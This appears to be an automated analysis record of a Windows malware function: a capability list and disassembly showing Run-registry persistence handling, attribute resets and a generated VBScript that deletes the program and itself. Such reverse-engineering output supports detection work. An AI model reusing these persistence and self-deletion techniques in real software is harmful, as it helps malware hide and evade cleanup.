Function at 0x40bf04
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x29c
push ebx
push ebp
push esi
push edi
call fcn.00411699
cmp dword [0x474144], 0
je 0x40bf26
mov ecx, 0x4740f8
call fcn.0040afba
xor ebx, ebx
inc ebx
cmp byte [0x471ddc], bl
jne 0x40bf36
call fcn.00418c08
cmp byte [0x471abd], 0
je 0x40bf50
mov ecx, 0x473d60
call fcn.00401e07
mov ecx, eax
call fcn.0041b42f
mov esi, 0x4742c8
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x471d89], bl
jne 0x40bf77
mov ecx, esi
call fcn.00401e07
push eax
mov edx, edi
mov ecx, connect
call fcn.0041297a
pop ecx
mov ebp, connect
cmp byte [0x471b76], bl
jne 0x40bf96
mov ecx, esi
call fcn.00401e07
push eax
mov edx, edi
mov ecx, ebp
call fcn.0041297a
pop ecx
cmp byte [0x471b77], bl
jne 0x40bfb3
mov ecx, esi
call fcn.00401e07
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.0041297a
pop ecx
mov ebx, 0x208
lea eax, [esp + 0xa0]
push ebx
xor edi, edi
push edi
push eax
call fcn.00436050
add esp, 0xc
mov esi, 0x474340
mov ecx, esi
call fcn.004022f8
push eax
mov ecx, esi
call fcn.00401e8f
push eax
push ebx
lea eax, [esp + 0xac]
mov esi, 0x4742f8
push eax
push str.exepath
mov ecx, esi
call fcn.00401e8f
mov edx, eax
call fcn.0041265d
add esp, 0x14
test al, al
jne 0x40c019
push ebx
lea eax, [esp + 0xa4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, esi
call fcn.00401e8f
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebp, 0x465900
mov ebx, 0x474310
mov edx, ebp
mov ecx, ebx
call fcn.00406a1a
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test al, al
je 0x40c058
push 0x80
mov ecx, ebx
call fcn.00401e07
push eax
call esi
push 0x80
lea eax, [esp + 0xa4]
push eax
call esi
mov ebx, eax
lea ecx, [esp + 0x10]
neg ebx
push str..vbs
sbb bl, bl
call fcn.0041ab38
mov edx, eax
lea ecx, [esp + 0x44]
call fcn.0041ae08
mov edx, eax
lea ecx, [esp + 0x8c]
call fcn.004028cf
pop ecx
lea ecx, [esp + 0x40]
call fcn.00401e13
lea ecx, [esp + 0x10]
call fcn.00401eea
lea eax, [esp + 0x88]
push eax
push 0x465aa0
push 0x4661f0
call fcn.0043ac0f
pop ecx
push eax
lea ecx, [esp + 0x4c]
call fcn.00403b40
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004028cf
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00403cdc
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401e13
lea ecx, [esp + 0x40]
call fcn.00401e13
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x14]
call fcn.00403b40
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x2c]
call fcn.00403cbb
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401e13
and bl, 1
je 0x40c176
push 0x466298
lea eax, [esp + 0xa4]
push eax
lea ecx, [esp + 0x60]
call fcn.00403b40
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.00403cbb
pop ecx
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.004028cf
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.00402de3
lea ecx, [esp + 0x10]
call fcn.00401e13
lea ecx, [esp + 0x40]
call fcn.00401e13
lea ecx, [esp + 0x58]
call fcn.00401e13
push 0x4662d0
lea eax, [esp + 0xa4]
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x4c]
call fcn.00403b40
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004028cf
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.004028cf
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.00402de3
lea ecx, [esp + 0x58]
call fcn.00401e13
lea ecx, [esp + 0x10]
call fcn.00401e13
lea ecx, [esp + 0x40]
call fcn.00401e13
test bl, bl
je 0x40c1e0
push str.wend_n
lea ecx, [esp + 0x2c]
call fcn.004082d2
mov esi, 0x474310
mov edx, ebp
mov ecx, esi
call fcn.00406a1a
test al, al
je 0x40c22f
push 0x4662d0
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x18]
call fcn.0040b0dd
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.004028cf
pop ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.00402de3
lea ecx, [esp + 0x58]
call fcn.00401e13
lea ecx, [esp + 0x10]
call fcn.00401e13
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x2c]
call fcn.004082d2
push edi
lea ecx, [esp + 0x74]
call fcn.00401e07
push eax
lea ecx, [esp + 0x30]
call fcn.004022f8
mov esi, eax
lea ecx, [esp + 0x30]
add esi, esi
call fcn.00401e07
mov edx, esi
mov ecx, eax
call fcn.0041b58f
pop ecx
pop ecx
test al, al
je 0x40c286
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401e07
push eax
push 0x46559c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]